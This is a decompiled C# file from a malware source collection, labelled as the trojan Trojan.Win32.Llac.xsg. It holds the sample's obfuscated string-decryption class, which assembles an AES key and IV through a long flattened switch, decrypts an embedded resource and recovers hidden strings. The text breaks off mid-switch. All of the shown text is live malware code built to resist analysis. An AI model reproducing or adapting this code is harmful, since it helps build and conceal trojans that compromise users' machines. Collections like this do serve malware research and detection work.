MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.xsg-ccd525a56ec283c443aafc9d3f740ba4f7dcc2269ff8b91d73392c1de7deca52/QbmQUZtUe9rS2foSpx/ebVKeUQJotY5IdGdNW.cs
2022-08-18 06:28:56 -05:00

5466 lines
190 KiB
C#

// Decompiled with JetBrains decompiler
// Type: QbmQUZtUe9rS2foSpx.ebVKeUQJotY5IdGdNW
// Assembly: qbh2l1xd, Version=95.242.248.15, Culture=neutral, PublicKeyToken=null
// MVID: D873775E-B692-440D-9DC6-F52074E30D53
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.xsg-ccd525a56ec283c443aafc9d3f740ba4f7dcc2269ff8b91d73392c1de7deca52.exe
using System;
using System.Collections;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
namespace QbmQUZtUe9rS2foSpx
{
internal class ebVKeUQJotY5IdGdNW
{
private static byte[] \u0037B8yS5j8g = new byte[0];
private static byte[] k8NY395lT = new byte[0];
private static byte[] gbcXCakqv = new byte[0];
private static byte[] \u00365hmE9kiV = new byte[0];
private static IntPtr fmeueF07w = IntPtr.Zero;
private static IntPtr n8wJwfuRs = IntPtr.Zero;
private static object QCDq9KBkd = (object) new string[0];
private static int[] HXUocYWhq = new int[0];
private static int W9WkIFUP9 = 1;
private static bool hNfjH4VW7 = false;
private static SortedList \u0036uIIDcRfs = new SortedList();
private static int tQGVdkh9F = 0;
private static long raEBj2F9L = 0;
internal static ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm p1ce5FDX3 = (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm) null;
internal static ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm SEHaMAJBA = (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm) null;
private static long \u0033qiRntTf2 = 0;
private static int c1Gltw8uY = 0;
private static byte[][] gIeSg3usw = new byte[0][];
private static long[] ufjDNIIUq = new long[0];
private static bool Ddd7QgGlp = false;
private static IntPtr nBw8CvPtM = IntPtr.Zero;
[MethodImpl(MethodImplOptions.NoInlining)]
static ebVKeUQJotY5IdGdNW()
{
}
[MethodImpl(MethodImplOptions.NoInlining)]
private void px47mAxxlTA2w()
{
}
[ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
static string lrZZwQIgn([In] int obj0)
{
int num1 = 230;
int num2;
while (true)
{
int num3;
byte[] numArray1;
int num4;
int num5;
byte[] numArray2;
CryptoStream cryptoStream;
MemoryStream memoryStream;
byte[] numArray3;
byte[] numArray4;
BinaryReader binaryReader;
byte[] numArray5;
RijndaelManaged rijndaelManaged;
byte[] numArray6;
ICryptoTransform transform;
int num6;
switch (num1)
{
case 0:
numArray1[30] = (byte) num5;
num1 = 329;
continue;
case 1:
num5 = 67 + 71;
num4 = 74;
goto label_288;
case 2:
num5 = 73 - 42;
num4 = 3;
if (true)
goto label_288;
else
goto case 60;
case 3:
numArray1[29] = (byte) num5;
num6 = 40;
break;
case 4:
numArray2[4] = (byte) num3;
num1 = 14;
continue;
case 5:
numArray1[30] = (byte) num5;
num4 = 73;
if (true)
goto label_288;
else
goto case 207;
case 6:
numArray2[5] = (byte) num3;
num4 = 88;
if (true)
goto label_288;
else
goto case 174;
case 7:
numArray1[27] = (byte) (133 + 41);
num6 = 104;
break;
case 8:
num5 = 251 - 83;
num4 = 276;
goto label_288;
case 9:
numArray1[21] = (byte) num5;
num1 = 219;
continue;
case 10:
numArray1[29] = (byte) (48 + 120);
num6 = 320;
break;
case 11:
numArray1[16] = (byte) (71 + 2);
num1 = 100;
continue;
case 12:
numArray1[2] = (byte) (171 + 18);
num4 = 28;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 346;
case 13:
ebVKeUQJotY5IdGdNW.gbcXCakqv = (byte[]) ebVKeUQJotY5IdGdNW.ZWs11AM6h0yxp10hlC((object) memoryStream);
num4 = 272;
if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto case 99;
else
goto label_288;
case 14:
num3 = 51 + 67;
num1 = 304;
continue;
case 15:
numArray3[15] = numArray4[7];
num6 = 132;
break;
case 16:
ebVKeUQJotY5IdGdNW.g8J8nTEhe8f8dgpB7e(ebVKeUQJotY5IdGdNW.iWdFZhpijHWU2yoaGS((object) binaryReader), 0L);
num4 = 309;
if (true)
goto label_288;
else
goto case 236;
case 17:
numArray2[1] = (byte) num3;
num4 = 71;
if (true)
goto label_288;
else
goto case 229;
case 18:
numArray1[9] = (byte) num5;
num4 = 367;
goto label_288;
case 19:
case 86:
num5 = 80 + 88;
num4 = 256;
goto label_288;
case 20:
num2 = ebVKeUQJotY5IdGdNW.Urvs6TFhWkPPJxVw8i((object) ebVKeUQJotY5IdGdNW.gbcXCakqv, obj0);
num6 = 373;
break;
case 21:
numArray2 = new byte[16];
num4 = 63;
goto label_288;
case 22:
num5 = 101 + 75;
num6 = 151;
break;
case 23:
numArray3[3] = numArray4[1];
num1 = 41;
continue;
case 24:
numArray1[10] = (byte) num5;
num4 = 141;
if (true)
goto label_288;
else
goto case 49;
case 25:
numArray1[27] = (byte) (64 + 64);
num6 = 264;
break;
case 26:
ebVKeUQJotY5IdGdNW.g1LoTl2Jc4binL4u9I((object) rijndaelManaged, CipherMode.CBC);
num4 = 68;
if (true)
goto label_288;
else
goto case 125;
case 27:
numArray1[11] = (byte) (125 - 41);
goto case 19;
case 28:
numArray1[3] = (byte) (165 - 55);
num1 = 110;
continue;
case 29:
numArray2[1] = (byte) num3;
num4 = 345;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 328;
case 30:
numArray1[31] = (byte) (55 + 119);
num1 = 51;
continue;
case 31:
numArray2[14] = (byte) (64 + 65);
num4 = 108;
if (true)
goto label_288;
else
goto case 53;
case 32:
numArray1[13] = (byte) (232 - 77);
num6 = 369;
break;
case 33:
num5 = 57 + 119;
num6 = 170;
break;
case 34:
numArray1[26] = (byte) num5;
num4 = 166;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 201;
case 35:
numArray2[13] = (byte) (111 + 82);
num4 = 327;
if (true)
goto label_288;
else
goto case 37;
case 36:
numArray2[10] = (byte) (150 - 50);
num4 = 322;
if (true)
goto label_288;
else
goto case 342;
case 37:
num5 = 197 - 76;
num1 = 162;
continue;
case 38:
num3 = 173 + 18;
num4 = 224;
goto label_288;
case 39:
numArray2[10] = (byte) (62 - 17);
num4 = 280;
if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto case 40;
else
goto label_288;
case 40:
num5 = 188 - 62;
num6 = 303;
break;
case 41:
numArray3[5] = numArray4[2];
num4 = 316;
goto label_288;
case 42:
numArray1[19] = (byte) (202 - 67);
num4 = 168;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 361;
case 43:
num5 = 100 - 8;
num1 = 240;
continue;
case 44:
numArray1[0] = (byte) num5;
num1 = 261;
continue;
case 45:
num5 = 26 + 87;
num4 = 356;
if (true)
goto label_288;
else
goto case 235;
case 46:
num5 = 114 + 89;
num6 = 312;
break;
case 47:
num5 = 145 - 48;
num1 = 205;
continue;
case 48:
num5 = 29 + 89;
num6 = 61;
break;
case 49:
numArray3[11] = numArray4[5];
num1 = 232;
continue;
case 50:
numArray1[7] = (byte) (96 + 103);
num4 = 119;
goto label_288;
case 51:
num5 = 113 - 2;
num4 = 292;
goto label_288;
case 52:
numArray1[21] = (byte) num5;
num4 = 343;
if (true)
goto label_288;
else
goto case 40;
case 53:
numArray2[0] = (byte) num3;
num4 = 180;
if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto case 10;
else
goto label_288;
case 54:
num3 = 246 - 82;
num1 = 202;
continue;
case 55:
numArray2[6] = (byte) (100 + 59);
num6 = 350;
break;
case 56:
numArray1[16] = (byte) (81 + 111);
num6 = 11;
break;
case 57:
numArray2[8] = (byte) (242 - 80);
num1 = 262;
continue;
case 58:
num5 = 232 - 77;
num4 = 341;
if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto case 199;
else
goto label_288;
case 59:
numArray1[29] = (byte) (191 - 63);
num6 = 244;
break;
case 60:
ebVKeUQJotY5IdGdNW.tIBlVPRrjWVfd9ngDb((object) cryptoStream);
num4 = 13;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 231;
case 61:
numArray1[0] = (byte) num5;
num6 = 265;
break;
case 62:
numArray1[2] = (byte) (119 + 82);
num6 = 220;
break;
case 63:
num3 = 156 - 52;
num4 = 53;
if (true)
goto label_288;
else
goto case 140;
case 64:
num5 = 35 + 97;
num4 = 243;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 267;
case 65:
num5 = 82 + 79;
num6 = 169;
break;
case 66:
// ISSUE: type reference
binaryReader = new BinaryReader((Stream) ebVKeUQJotY5IdGdNW.lAyeJnb7XiQE99SxHN((object) ebVKeUQJotY5IdGdNW.e8a2ByiVr7q6HYBmUW(__typeref (ebVKeUQJotY5IdGdNW)).Assembly, (object) "1063950c-5cab-4f88-8a55-8e2aacb37e9e"));
num4 = 16;
goto label_288;
case 67:
numArray1[18] = (byte) (35 + 4);
num4 = 237;
if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto case 190;
else
goto label_288;
case 68:
transform = (ICryptoTransform) ebVKeUQJotY5IdGdNW.RrPxaKBaO4e2U7gBOv((object) rijndaelManaged, (object) numArray6, (object) numArray3);
num4 = 353;
goto label_288;
case 69:
numArray2[6] = (byte) num3;
num6 = 171;
break;
case 70:
num5 = 54 + 121;
num1 = 246;
continue;
case 71:
num3 = 232 - 77;
num4 = 215;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 46;
case 72:
num5 = 213 + 30;
num4 = 226;
if (true)
goto label_288;
else
goto case 103;
case 73:
numArray1[30] = (byte) (207 - 69);
num4 = 122;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 296;
case 74:
numArray1[22] = (byte) num5;
num6 = 252;
break;
case 75:
numArray2[11] = (byte) num3;
num4 = 137;
goto label_288;
case 76:
numArray1[20] = (byte) num5;
num1 = 172;
continue;
case 77:
num5 = 117 + 11;
num4 = 18;
goto label_288;
case 78:
numArray1[10] = (byte) (50 + 78);
num4 = 183;
if (true)
goto label_288;
else
goto case 95;
case 79:
numArray1[29] = (byte) num5;
num1 = 2;
continue;
case 80:
num3 = 45 + 0;
num1 = 222;
continue;
case 81:
case 89:
numArray1[10] = (byte) num5;
num1 = 78;
continue;
case 82:
numArray2[15] = (byte) (178 - 124);
num1 = 349;
continue;
case 83:
numArray1[8] = (byte) num5;
num6 = 99;
break;
case 84:
num5 = 104 + 62;
num6 = 325;
break;
case 85:
numArray1[24] = (byte) num5;
num1 = 218;
continue;
case 87:
numArray2[13] = (byte) num3;
num4 = 289;
if (true)
goto label_288;
else
goto case 357;
case 88:
num3 = 8 + 39;
num4 = 311;
goto label_288;
case 90:
numArray1[23] = (byte) num5;
num4 = 297;
goto label_288;
case 91:
numArray1[25] = (byte) num5;
goto case 97;
case 92:
numArray1[7] = (byte) num5;
num1 = 206;
continue;
case 93:
num5 = 242 - 80;
num1 = 263;
continue;
case 94:
numArray1[8] = (byte) num5;
num4 = 288;
goto label_288;
case 95:
num5 = 5 + 73;
num6 = 155;
break;
case 96:
numArray1[22] = (byte) num5;
num1 = 250;
continue;
case 97:
numArray1[25] = (byte) (160 - 53);
num6 = 120;
break;
case 98:
num5 = 192 - 64;
num4 = 370;
if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto case 241;
else
goto label_288;
case 99:
num5 = 81 + 97;
num4 = 142;
if (true)
goto label_288;
else
goto case 92;
case 100:
num5 = 14 + 25;
num6 = 267;
break;
case 101:
numArray1[3] = (byte) num5;
num4 = 239;
goto label_288;
case 102:
numArray1[28] = (byte) num5;
num6 = 174;
break;
case 103:
num5 = 91 + 93;
num4 = 310;
goto label_288;
case 104:
numArray1[28] = (byte) (162 - 54);
num4 = 337;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 351;
case 105:
numArray1[26] = (byte) (86 + 107);
num4 = 150;
if (true)
goto label_288;
else
goto case 150;
case 106:
numArray2[13] = (byte) num3;
num1 = 346;
continue;
case 107:
num3 = 200 - 66;
num1 = 29;
continue;
case 108:
numArray2[14] = (byte) (189 - 63);
num4 = 286;
if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto case 132;
else
goto label_288;
case 109:
num3 = 211 - 70;
num6 = 159;
break;
case 110:
num5 = 85 + 124;
num6 = 101;
break;
case 111:
numArray1[7] = (byte) (55 + 109);
num4 = 50;
goto label_288;
case 112:
num5 = 52 - 50;
num6 = 254;
break;
case 113:
num5 = 254 - 84;
num1 = 216;
continue;
case 114:
numArray1[20] = (byte) (195 - 65);
num1 = 147;
continue;
case 115:
num3 = 53 + 119;
num1 = 211;
continue;
case 116:
numArray1[2] = (byte) (210 - 70);
num4 = 12;
goto label_288;
case 117:
num3 = 149 - 49;
num6 = 75;
break;
case 118:
numArray2[13] = (byte) (94 - 73);
num4 = 194;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 9;
case 119:
num5 = 230 + 20;
num6 = 92;
break;
case 120:
num5 = 79 + 41;
num6 = 235;
break;
case 121:
numArray1[10] = (byte) (114 + 15);
num1 = 198;
continue;
case 122:
num5 = 112 + 117;
num6 = 0;
break;
case 123:
numArray3[1] = numArray4[0];
num4 = 23;
if (true)
goto label_288;
else
goto case 319;
case 124:
numArray1[21] = (byte) num5;
num6 = 93;
break;
case 125:
numArray2[9] = (byte) num3;
num4 = 36;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 248;
case 126:
num3 = 42 + 43;
num1 = 106;
continue;
case (int) sbyte.MaxValue:
numArray2[4] = (byte) num3;
num4 = 342;
goto label_288;
case 128:
numArray2[10] = (byte) (50 + 78);
num1 = 39;
continue;
case 129:
numArray1[24] = (byte) num5;
num1 = 22;
continue;
case 130:
numArray2[10] = (byte) (42 + 90);
num1 = 128;
continue;
case 131:
num5 = 46 + 110;
num1 = 149;
continue;
case 132:
rijndaelManaged = new RijndaelManaged();
num1 = 26;
continue;
case 133:
numArray2[1] = (byte) (171 - 57);
num6 = 363;
break;
case 134:
numArray1[22] = (byte) (188 - 62);
num4 = 1;
if (true)
goto label_288;
else
goto case 68;
case 135:
numArray2[10] = (byte) num3;
num1 = 130;
continue;
case 136:
numArray1[6] = (byte) num5;
num6 = 368;
break;
case 137:
numArray2[11] = (byte) (137 + 80);
num1 = 287;
continue;
case 138:
numArray1[16] = (byte) (135 + 3);
num4 = 371;
if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto case 99;
else
goto label_288;
case 139:
numArray2[4] = (byte) (99 + 30);
num1 = 307;
continue;
case 140:
num5 = 193 - 64;
num1 = 364;
continue;
case 141:
num5 = 42 + 90;
ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk();
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
{
num4 = 89;
goto label_288;
}
else
{
num1 = 19;
continue;
}
case 142:
numArray1[8] = (byte) num5;
num1 = 58;
continue;
case 143:
numArray1[23] = (byte) num5;
num1 = 234;
continue;
case 144:
num5 = 77 + 29;
num4 = 102;
goto label_288;
case 145:
num3 = 162 - 54;
num6 = 231;
break;
case 146:
num5 = 90 + 109;
num4 = 148;
if (true)
goto label_288;
else
goto case 298;
case 147:
num5 = 226 - 75;
num4 = 186;
if (true)
goto label_288;
else
goto case 203;
case 148:
numArray1[4] = (byte) num5;
num4 = 140;
if (true)
goto label_288;
else
goto case 76;
case 149:
numArray1[12] = (byte) num5;
num1 = 200;
continue;
case 150:
numArray1[26] = (byte) (104 + 113);
num1 = 25;
continue;
case 151:
numArray1[24] = (byte) num5;
num6 = (int) byte.MaxValue;
break;
case 152:
num5 = 72 + 102;
num4 = 326;
if (true)
goto label_288;
else
goto case 121;
case 153:
numArray2[15] = (byte) (69 + 97);
num4 = 80;
if (true)
goto label_288;
else
goto case 118;
case 154:
numArray1[15] = (byte) num5;
num1 = 56;
continue;
case 155:
numArray1[29] = (byte) num5;
num6 = 59;
break;
case 156:
numArray3[9] = numArray4[4];
num6 = 49;
break;
case 157:
num5 = 219 - 73;
num1 = 302;
continue;
case 158:
numArray2[6] = (byte) (225 - 75);
num4 = 191;
if (true)
goto label_288;
else
goto case 217;
case 159:
numArray2[3] = (byte) num3;
num4 = 241;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 366;
case 160:
numArray2[5] = (byte) num3;
num1 = 164;
continue;
case 161:
num5 = 97 - 89;
num4 = 154;
goto label_288;
case 162:
numArray1[25] = (byte) num5;
num6 = 283;
break;
case 163:
numArray1[6] = (byte) num5;
num4 = 269;
goto label_288;
case 164:
numArray2[5] = (byte) (12 - 10);
num4 = 55;
if (true)
goto label_288;
else
goto case 286;
case 165:
numArray1[20] = (byte) num5;
num6 = 177;
break;
case 166:
num5 = 112 + 51;
num4 = 366;
if (true)
goto label_288;
else
goto case 345;
case 167:
numArray2[3] = (byte) (154 - 66);
num1 = 139;
continue;
case 168:
numArray1[19] = (byte) (177 - 59);
num4 = 242;
goto label_288;
case 169:
numArray1[12] = (byte) num5;
num1 = 131;
continue;
case 170:
numArray1[1] = (byte) num5;
num4 = 62;
if (true)
goto label_288;
else
goto case 144;
case 171:
numArray2[7] = (byte) (24 + 92);
num4 = 274;
goto label_288;
case 172:
num5 = 14 + 71;
num4 = 9;
if (true)
goto label_288;
else
goto case 352;
case 173:
numArray1[15] = (byte) (91 + 2);
num4 = 113;
if (true)
goto label_288;
else
goto case 367;
case 174:
numArray1[28] = (byte) (122 + 62);
num6 = 10;
break;
case 175:
numArray2[0] = (byte) num3;
num6 = 295;
break;
case 176:
num3 = 197 - 65;
num1 = 357;
continue;
case 177:
num5 = 63 + 123;
num4 = 76;
goto label_288;
case 178:
numArray2[7] = (byte) (130 - 43);
num4 = 251;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 116;
case 179:
numArray1 = new byte[32];
num6 = 48;
break;
case 180:
numArray2[0] = (byte) (194 - 64);
num4 = 317;
if (true)
goto label_288;
else
goto case 370;
case 181:
numArray1[3] = (byte) num5;
num4 = 221;
goto label_288;
case 182:
numArray1[9] = (byte) (45 + 97);
num6 = 298;
break;
case 183:
num5 = 90 + 122;
num6 = 365;
break;
case 184:
numArray5 = (byte[]) ebVKeUQJotY5IdGdNW.\u00350kb2qW1mc3AY5vNLS((object) binaryReader, (int) ebVKeUQJotY5IdGdNW.\u0034UfYcUfwZnbKaXQkVa(ebVKeUQJotY5IdGdNW.iWdFZhpijHWU2yoaGS((object) binaryReader)));
num6 = 179;
break;
case 185:
num5 = 110 + 58;
num1 = 268;
continue;
case 186:
numArray1[20] = (byte) num5;
num1 = 315;
continue;
case 187:
num5 = 39 + 122;
num4 = 163;
if (true)
goto label_288;
else
goto case 139;
case 188:
numArray1[8] = (byte) num5;
num4 = 210;
if (true)
goto label_288;
else
goto case 58;
case 189:
numArray2[6] = (byte) num3;
num4 = 158;
if (true)
goto label_288;
else
goto case 160;
case 190:
numArray2[8] = (byte) num3;
num1 = 201;
continue;
case 191:
num3 = 181 - 83;
num4 = 69;
if (true)
goto label_288;
else
goto case (int) sbyte.MaxValue;
case 192:
numArray2[3] = (byte) num3;
num1 = 167;
continue;
case 193:
numArray2[2] = (byte) (119 + 33);
num1 = 38;
continue;
case 194:
numArray2[14] = (byte) (74 + 114);
num4 = 31;
if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto case 95;
else
goto label_288;
case 195:
numArray1[11] = (byte) (39 + 114);
num4 = 157;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 302;
case 196:
numArray1[7] = (byte) num5;
num4 = 111;
goto label_288;
case 197:
num5 = 228 - 76;
num6 = 238;
break;
case 198:
numArray1[10] = (byte) (48 + 24);
num4 = 208;
if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto case 153;
else
goto label_288;
case 199:
numArray2[5] = (byte) (148 - 49);
num1 = 294;
continue;
case 200:
numArray1[13] = (byte) (47 + 73);
num4 = 335;
goto label_288;
case 201:
num3 = 226 - 75;
num4 = 340;
if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto case 174;
else
goto label_288;
case 202:
numArray2[9] = (byte) num3;
num6 = 225;
break;
case 203:
numArray1[5] = (byte) (31 + 120);
num1 = 270;
continue;
case 204:
if (numArray4 != null)
{
num6 = 207;
break;
}
goto case 132;
case 205:
numArray1[17] = (byte) num5;
num4 = 323;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 120;
case 206:
numArray1[8] = (byte) (221 - 73);
num4 = 8;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 124;
case 207:
if (numArray4.Length > 0)
{
num1 = 123;
continue;
}
goto case 132;
case 208:
num5 = 168 - 56;
num6 = 24;
break;
case 209:
numArray1[12] = (byte) (64 + 42);
num4 = 334;
if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto case 19;
else
goto label_288;
case 210:
num5 = 130 - 43;
num4 = 94;
if (true)
goto label_288;
else
goto case 372;
case 211:
numArray2[2] = (byte) num3;
num6 = 306;
break;
case 212:
numArray1[14] = (byte) (105 + 45);
num1 = 43;
continue;
case 213:
numArray1[1] = (byte) (189 - 63);
num6 = 33;
break;
case 214:
numArray1[7] = (byte) num5;
num6 = 339;
break;
case 215:
numArray2[1] = (byte) num3;
num1 = 133;
continue;
case 216:
numArray1[15] = (byte) num5;
num4 = 64;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 227;
case 217:
numArray2[15] = (byte) (213 - 71);
num6 = 153;
break;
case 218:
num5 = 101 + 21;
num4 = 129;
if (true)
goto label_288;
else
goto case 250;
case 219:
num5 = 88 + 89;
num1 = 124;
continue;
case 220:
numArray1[2] = (byte) (67 + 119);
num6 = 116;
break;
case 221:
numArray1[3] = (byte) (146 + 16);
num1 = 146;
continue;
case 222:
numArray2[15] = (byte) num3;
num4 = 176;
if (true)
goto label_288;
else
goto case 112;
case 223:
numArray1[31] = (byte) (144 - 48);
num6 = 30;
break;
case 224:
numArray2[2] = (byte) num3;
num4 = 318;
goto label_288;
case 225:
num3 = 195 - 65;
num1 = 314;
continue;
case 226:
numArray1[4] = (byte) num5;
num6 = 203;
break;
case 227:
numArray2[1] = (byte) (194 - 64);
num1 = 107;
continue;
case 228:
numArray1[0] = (byte) (58 + 83);
num1 = 301;
continue;
case 229:
numArray2[5] = (byte) (244 - 81);
num1 = 199;
continue;
case 230:
if (ebVKeUQJotY5IdGdNW.gbcXCakqv.Length == 0)
{
num4 = 66;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 22;
}
else
goto case 20;
case 231:
numArray2[3] = (byte) num3;
num4 = 109;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 303;
case 232:
numArray3[13] = numArray4[6];
num4 = 15;
goto label_288;
case 233:
cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write);
num4 = 285;
goto label_288;
case 234:
num5 = 68 + 73;
num4 = 90;
if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto case 92;
else
goto label_288;
case 235:
numArray1[25] = (byte) num5;
num4 = 37;
goto label_288;
case 236:
num5 = 110 + 83;
num4 = 52;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 50;
case 237:
numArray1[18] = (byte) (175 - 58);
num1 = 112;
continue;
case 238:
numArray1[4] = (byte) num5;
num4 = 72;
goto label_288;
case 239:
num5 = 162 - 54;
num1 = 181;
continue;
case 240:
numArray1[14] = (byte) num5;
num4 = 173;
if (true)
goto label_288;
else
goto case 304;
case 241:
num3 = 109 + 12;
num1 = 192;
continue;
case 242:
num5 = 122 - 39;
num6 = 352;
break;
case 243:
numArray1[15] = (byte) num5;
num1 = 161;
continue;
case 244:
num5 = 25 + 67;
num6 = 79;
break;
case 245:
num3 = 35 + 107;
num1 = 125;
continue;
case 246:
numArray1[12] = (byte) num5;
num6 = 65;
break;
case 247:
// ISSUE: type reference
numArray4 = (byte[]) ebVKeUQJotY5IdGdNW.ubfxuH7mdbbHDhtpx0(ebVKeUQJotY5IdGdNW.qWp2gMA5tEr4Wr2RAh((object) ebVKeUQJotY5IdGdNW.e8a2ByiVr7q6HYBmUW(__typeref (ebVKeUQJotY5IdGdNW)).Assembly));
num1 = 204;
continue;
case 248:
ebVKeUQJotY5IdGdNW.TCk72huDGbI3wd7Dss((object) binaryReader);
num4 = 20;
goto label_288;
case 249:
numArray2[0] = (byte) num3;
num4 = 227;
goto label_288;
case 250:
numArray1[23] = (byte) (122 + 29);
num1 = 362;
continue;
case 251:
numArray2[7] = (byte) (115 - 107);
num6 = 328;
break;
case 252:
num5 = 187 - 104;
num4 = 96;
if (true)
goto label_288;
else
goto case 106;
case 253:
num5 = 72 + 34;
num4 = 44;
if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto case 117;
else
goto label_288;
case 254:
numArray1[18] = (byte) num5;
num6 = 42;
break;
case (int) byte.MaxValue:
numArray1[24] = (byte) (178 - 95);
num6 = 45;
break;
case 256:
numArray1[11] = (byte) num5;
num6 = 84;
break;
case 257:
numArray1[28] = (byte) num5;
num1 = 144;
continue;
case 258:
numArray1[9] = (byte) num5;
num6 = 121;
break;
case 259:
num3 = 239 - 79;
num6 = 189;
break;
case 260:
num5 = 150 + 8;
num1 = 282;
continue;
case 261:
num5 = 148 - 87;
num4 = 266;
if (true)
goto label_288;
else
goto case 10;
case 262:
num3 = 90 + 74;
num4 = 190;
goto label_288;
case 263:
numArray1[21] = (byte) num5;
num1 = 236;
continue;
case 264:
numArray1[27] = (byte) (245 - 81);
num4 = 46;
if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto case 70;
else
goto label_288;
case 265:
num5 = 233 - 77;
num4 = 300;
if (true)
goto label_288;
else
goto case 93;
case 266:
numArray1[0] = (byte) num5;
num4 = 305;
goto label_288;
case 267:
numArray1[16] = (byte) num5;
num6 = 271;
break;
case 268:
numArray1[24] = (byte) num5;
num4 = 348;
goto label_288;
case 269:
num5 = 98 - 7;
num1 = 136;
continue;
case 270:
numArray1[5] = (byte) (67 + 61);
num6 = 296;
break;
case 271:
numArray1[16] = (byte) (208 - 69);
num6 = 138;
break;
case 272:
ebVKeUQJotY5IdGdNW.KFo9xjnJtIutWMS59s((object) memoryStream);
num4 = 331;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 85;
case 273:
num5 = 8 + 59;
num4 = 5;
if (true)
goto label_288;
else
goto case 122;
case 274:
numArray2[7] = (byte) (251 - 83);
num4 = 361;
if (true)
goto label_288;
else
goto case 20;
case 275:
numArray1[23] = (byte) (85 + 28);
num6 = 360;
break;
case 276:
numArray1[8] = (byte) num5;
num1 = 355;
continue;
case 277:
numArray1[14] = (byte) (54 + 69);
num4 = 212;
if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto case 288;
else
goto label_288;
case 278:
numArray2[15] = (byte) (2 + 117);
num6 = 82;
break;
case 279:
numArray6 = numArray1;
num1 = 21;
continue;
case 280:
numArray2[11] = (byte) (246 - 82);
num1 = 117;
continue;
case 281:
num3 = 191 - 63;
num4 = 351;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 353;
case 282:
numArray1[11] = (byte) num5;
num1 = 209;
continue;
case 283:
num5 = 2 + 9;
num1 = 34;
continue;
case 284:
numArray2[14] = (byte) (90 + 49);
num4 = 217;
goto label_288;
case 285:
ebVKeUQJotY5IdGdNW.d610naqpinTJwc3nrU((object) cryptoStream, (object) numArray5, 0, numArray5.Length);
num4 = 60;
if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto case (int) sbyte.MaxValue;
else
goto label_288;
case 286:
numArray2[14] = (byte) (72 + 102);
num4 = 284;
if (true)
goto label_288;
else
goto case 315;
case 287:
numArray2[12] = (byte) (84 + 104);
num6 = 281;
break;
case 288:
num5 = 207 - 69;
num6 = 83;
break;
case 289:
